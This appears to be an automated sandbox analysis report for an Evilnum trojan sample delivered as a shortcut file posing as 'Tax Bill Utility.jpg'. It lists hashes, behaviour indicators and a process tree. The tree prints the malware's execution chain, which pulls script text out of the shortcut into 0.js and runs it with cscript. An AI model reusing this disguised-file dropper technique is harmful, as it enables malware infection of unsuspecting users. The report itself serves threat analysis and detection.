evilnum | 79ddc62bcab8efaef586c7e4202fa6a40a82a37571cbab309812602f7a03162b

Analysis

Target
79ddc62bcab8efaef586c7e4202fa6a40a82a37571cbab309812602f7a03162b.lnk
Size 1009KB
Sample220130-kf35nahdfk
SHA256 79ddc62bcab8efaef586c7e4202fa6a40a82a37571cbab309812602f7a03162b
MD5 781f6dd5bff76b38ae52da352c976850
SHA1 438b0c180a7cff5aedbfc9ff83668a0dec0174a4
SHA512 efac51bd96775c8af814d757f7aa595662b5b1c6dce5a7b5f3b3eddd4c7cd0f33d2a565fcf3bff5689c8564687b76dcd14b9d8732bc4bc132c7bcbee0adced35
MD5 SHA1 SHA512

Score

10^/10

evilnum trojan

Evilnum
A malware family with multiple components distributed through LNK files.
trojan evilnum
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1288 wrote to memory of 2992	1288	cmd.exe	70
PID 1288 wrote to memory of 2992	1288	cmd.exe	70
PID 2992 wrote to memory of 428	2992	cmd.exe	71
PID 2992 wrote to memory of 428	2992	cmd.exe	71
PID 2992 wrote to memory of 524	2992	cmd.exe	72
PID 2992 wrote to memory of 524	2992	cmd.exe	72
PID 2992 wrote to memory of 2180	2992	cmd.exe	73
PID 2992 wrote to memory of 2180	2992	cmd.exe	73
PID 2992 wrote to memory of 3504	2992	cmd.exe	74
PID 2992 wrote to memory of 3504	2992	cmd.exe	74
PID 2992 wrote to memory of 4064	2992	cmd.exe	75
PID 2992 wrote to memory of 4064	2992	cmd.exe	75

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\79ddc62bcab8efaef586c7e4202fa6a40a82a37571cbab309812602f7a03162b.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c path=C:\Windows\system32&&move "Tax Bill Utility.jpg.lnk " "C:\Users\Admin\AppData\Local\Temp\1.lnk"&forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Tax *.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"&type "C:\Users\Admin\AppData\Local\Temp\1.lnk"|find "TRU4">"C:\Users\Admin\AppData\Local\Temp\0.js"|rd a||cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2992
- - C:\Windows\system32\forfiles.exe
    forfiles /P "C:\Users\Admin\AppData\Local\Temp" /M "Tax *.lnk" /S /D 0 /C "C:\Windows\system32\cmd.exe /c move @path C:\Users\Admin\AppData\Local\Temp\1.lnk"
    3⤵
    PID:428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type "C:\Users\Admin\AppData\Local\Temp\1.lnk""
    3⤵
    PID:524
- - C:\Windows\system32\find.exe
    find "TRU4"
    3⤵
    PID:2180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" rd a"
    3⤵
    PID:3504
- - C:\Windows\system32\cscript.exe
    cSCripT "C:\Users\Admin\AppData\Local\Temp\0.js"
    3⤵
    PID:4064

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact